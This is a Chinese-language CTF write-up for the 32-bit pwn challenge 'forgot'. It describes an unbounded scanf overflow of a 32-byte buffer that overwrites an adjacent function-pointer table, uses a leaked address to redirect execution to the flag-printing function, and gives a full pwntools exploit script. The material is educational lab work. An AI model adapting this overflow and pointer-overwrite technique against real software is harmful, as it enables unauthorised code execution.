标签:world 格式 控制 因此 内容 题目 RoCE 字符 而在
结果如下
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
拖进 ida 里直奔主函数,因为太长这里就不贴出来了,正如题目介绍里所说,主要就是利用自动机来实现邮件地址的合法性识别;其中 v3~v12 分别是用来输出提示信息的函数,可以发现它们两两之间的地址相差 20 个字节;而在 v12 对应的函数地址后的 20 个字节,也就是函数 sub_80486CC 内部就有着输出 flag 内容的命令,由此可以得知,我们的目标就是将其调用之
回过头来继续研究主函数,我们可以发现其主体是一个 while+switch 的组合,每次根据情况来改变 v14 的值,然后以 v14 的值作为偏移来调用前面说的那些输出提示信息的函数,这里其实可以把 v3~v12 看作函数表来使用,下标分别从 0~9
在主函数的 41 行,我们可以看到 scanf 的调用将输入作为字符串读入到 v2 变量中,但它并没有限定读入的长度,而 v2 作为缓冲区,大小仅有 32 个字节,所以可知这里存在着 bof 漏洞,而紧随 v2 之后的就是我们用来保存函数地址的 v3
所以我们的最终思路就是,通过 scanf 这里的 bof 来修改 v3 指向的值为之前找到的 sub_80486CC,同时通过控制输入的格式使自动机在运行后依然让 v14 的值为 1,这样在 88 行处的调用就会成功输出 flag 的内容;查看 case 1 中的判断函数 sub_8048702 ,我们要做的是让它返回 0 使自动机不跳转到 case 2 ,而根据代码,我们只需要输入任意的大写字母即可达到目的
在主函数的第 36 行处,程序输出了 v7 指向的内容,那么我们可以根据它来计算出 sub_80486CC 的地址,即 +20*6 可得
因此最终的 exp 如下
from pwn import *
from sys import argv
if argv[1] == ‘local‘:
p = process(‘./forgot‘)
elif argv[1] == ‘remote‘:
ip, port = argv[2].split(‘:‘)
p = remote(ip, int(port))
#context.log_level = ‘debug‘
p.recv()
p.sendline("Yuren")
p.recvuntil(‘Here: ‘)
addr = int(p.recvuntil(‘\n‘)[:-1], 16)
p.recv()
sys_addr = addr + 20*6
payload = ‘A‘*32
payload += p32(sys_addr)
p.sendline(payload)
print(p.recv())
标签:world 格式 控制 因此 内容 题目 RoCE 字符 而在
原文地址:https://www.cnblogs.com/yuren123/p/12811544.html